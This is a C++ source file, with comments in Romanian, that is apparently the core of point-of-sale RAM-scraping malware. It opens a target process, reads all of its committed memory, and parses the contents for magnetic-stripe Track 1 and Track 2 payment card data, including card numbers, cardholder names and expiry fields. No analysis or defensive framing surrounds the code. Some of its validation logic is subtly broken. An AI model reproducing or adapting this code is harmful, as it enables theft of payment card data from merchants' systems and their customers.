#include "stdafx.h"
#include "ram_scrap.h"
#include "util.h"
void SearchTrack1(std::vector<byte> data,std::vector<std::string> & vec);
void SearchTrack2(std::vector<byte> data,std::vector<std::string> & vec);
bool GetCcFromProc(int pid, std::vector<std::string> & track1, std::vector<std::string> & track2)
{
	try {
		HANDLE process = OpenProcess( 
			PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, 
			false,
			pid);
		unsigned char *p = NULL;
		MEMORY_BASIC_INFORMATION info;

		for ( p = NULL;
			VirtualQueryEx(process, p, &info, sizeof(info)) == sizeof(info);
			p += info.RegionSize )
		{
			if (info.State == MEM_COMMIT &&
				(info.Type == MEM_MAPPED || info.Type == MEM_PRIVATE)) //esti sigur de aceste regiuni?
			{
				SIZE_T bytes_read;
				std::vector<byte> buffer;
				buffer.resize(info.RegionSize);
				try {
					ReadProcessMemory(process, p, &buffer[0], info.RegionSize, &bytes_read);
				} catch (...) {
					continue;
				}
				buffer.resize(bytes_read);
				SearchTrack1(buffer, track1);
				Sleep(1);
				SearchTrack2(buffer, track2);
				Sleep(1);
			}
		}
	} catch (...) {
		return false;
	}
	return true;
}

void SearchTrack1(std::vector<byte> data,std::vector<std::string> & vec){
	for(int i=0;i<data.size();i++){
		//presupunem ca am gasit un string bun
		bool u=false;
		//salvam prima pozitie
		int start=i;
		//scapam de % si de B
		if(data[i]=='%')
			i++;
		if(data[i]=='B')
			i++;
		//verificam daca urmeaza un nr valid
		if(data[i]>='1'&&data[i]<='6'){
			int plus=0,cifre=0,opt=0;

			switch(data[i]){
			case '1':
				if(data[i+1]!='8'||data[i+2]!='0'||data[i+3]!='0')
					u=true;
				cifre=11;
				plus=4;
				break;
			case '2':
				if(data[i+1]!='1'||data[i+2]!='3'||data[i+3]!='1')
					u=true;
				cifre=11;
				plus=4;
				break;
			case '3':
				if(data[i+1]=='4'||data[i+1]=='7'){
					cifre=13;
					plus=2;
				}else if(data[i+1]=='0'&&data[i+2]>='1'&&data[i+2]<='5'){
					cifre=11;
					plus=2;
				}else
					u=true;
				break;
			case '4':
				cifre=12;
				opt=3;
				plus=1;
				break;
			case '5':
				if(data[i+1]<='1'&&data[i+1]>='5')
					u=true;
				cifre=14;
				plus=2;
				break;
			case '6':
				if(data[i+1]=='0'&&data[i+2]=='1'&&data[i+3]=='1'){
					cifre=12;
					plus=4;
				}if(data[i+1]=='5'){
					cifre=14;
					plus=2;
				}else
					u=true;
				break;
			default:
				u=true;
				break;
			}
			//cifrele in plus
			if(!u){
				i+=plus;
				int j=0;
				while(j<cifre&&!u){
					if(data[i]<'0'||data[i]>'9'){
						u=true;
					}
					j++;
					if(!u)
						i++;
				}
			}
			//cifrele in plus optionale
			if(!u){
				int j=0;
				while(j<opt&&!u){
					if(data[i]<'0'||data[i]>'9'){
						u=true;
					}
					j++;
					if(!u)
						i++;
				}					
			}
			//scapam ^
			if(!u&&data[i]!='^')
				u=true;
			i++;

			//verificam numele
			if(!u){
				int j=0;
				bool f=true;
				while(j<26&&!u&&f){
					if((data[i]>='0'&&data[i]<='9')||(data[i]>='a'&&data[i]<='z')||(data[i]>='A'&&data[i]<='Z')||data[i]=='_'||data[i]==' '||data[i]=='/'||data[i]=='.'){
						j++;
						i++;
					}else{
						if(j<2)
							u=true;
						f=false;
					}
				}
			}
			//scapam ^
			if(!u&&data[i]!='^')
				u=true;
			i++;
			//scapam 7 cifre
			if(!u){
				int j=0;
				while(j<7&&!u){
					if(data[i]<'0'||data[i]>'9'){
						u=true;
					}
					j++;
					if(!u)
						i++;
				}
			}
			//inca 25 simboluri optionale
			if(!u){
				int j=0;
				bool f=true;
				while(j<25&&!u&&f){
					if((data[i]>='0'&&data[i]<='9')||(data[i]>='a'&&data[i]<='z')||(data[i]>='A'&&data[i]<='Z')||data[i]==' '){
						j++;
						i++;
					}else{
						f=false;
					}
				}
			}
			if(!u&&data[i]=='?')
				i++;
		}else 
			u=true;
		//daca e rau mergem la urmatorul char
		if(u)
			i=start;
		else{
			//daca e bun bagam in vec
			std::string text;
			for(int k=start;k<i;k++)
				text+=data[k];
			if (std::find(vec.begin(), vec.end(), text) == vec.end())
				vec.push_back(text);
		}
	}
}
void SearchTrack2(std::vector<byte> data,std::vector<std::string> & vec){
	for(int i=0;i<data.size();i++){
		//presupunem ca am gasit ceva bun
		bool u=false;
		//salvam prima pozitie
		int start=i;
		//scapam ;
		if(data[i]==';')
			i++;
		//verificam daca e un nr valid
		if(data[i]>='1'&&data[i]<='6'){
			int plus=0,cifre=0,opt=0;

			switch(data[i]){
			case '1':
				if(data[i+1]!='8'||data[i+2]!='0'||data[i+3]!='0')
					u=true;
				cifre=11;
				plus=4;
				break;
			case '2':
				if(data[i+1]!='1'||data[i+2]!='3'||data[i+3]!='1')
					u=true;
				cifre=11;
				plus=4;
				break;
			case '3':
				if(data[i+1]=='4'||data[i+1]=='7'){
					cifre=13;
					plus=2;
				}else if(data[i+1]=='0'&&data[i+2]>='1'&&data[i+2]<='5'){
					cifre=11;
					plus=2;
				}else
					u=true;
				break;
			case '4':
				cifre=12;
				opt=3;
				plus=1;
				break;
			case '5':
				if(data[i+1]<='1'&&data[i+1]>='5')
					u=true;
				cifre=14;
				plus=2;
				break;
			case '6':
				if(data[i+1]=='0'&&data[i+2]=='1'&&data[i+3]=='1'){
					cifre=12;
					plus=4;
				}if(data[i+1]=='5'){
					cifre=14;
					plus=2;
				}else
					u=true;
				break;
			default:
				u=true;
				break;
			}

			if(!u){
				i+=plus;
				int j=0;

				while(j<cifre&&!u){
					if(data[i]<'0'||data[i]>'9'){
						u=true;
					}
					j++;
					if(!u)
						i++;
				}
			}
			if(!u){
				int j=0;

				while(j<opt&&!u){
					if(data[i]<'0'||data[i]>'9'){
						u=true;
					}
					j++;
					if(!u)
						i++;
				}

			}
			//scapam =
			if(!u&&data[i]!='=')
				u=true;
			i++;
			//verificam daca urmeaza un set de nr max 50
			if(!u){
				int j=0;
				bool f=true;
				while(j<50&&!u&&f){
					if(data[i]>='0'&&data[i]<='9'){
						j++;
						i++;
					}else{
						if(j<4)
							u=true;
						f=false;
					}
				}
				if(data[i]=='?')
					i++;
				if(data[i]>='0'&&data[i]<='9')
					i++;
			}
		}else 
			u=true;
		//daca e rau mergem la urmatorul char
		if(u)
			i=start;
		else{
			//daca e bun bagam in vec
			std::string text;
			for(int k=start;k<i;k++)
				text+=data[k];
			if (std::find(vec.begin(), vec.end(), text) == vec.end())
				vec.push_back(text);
		}
	}
}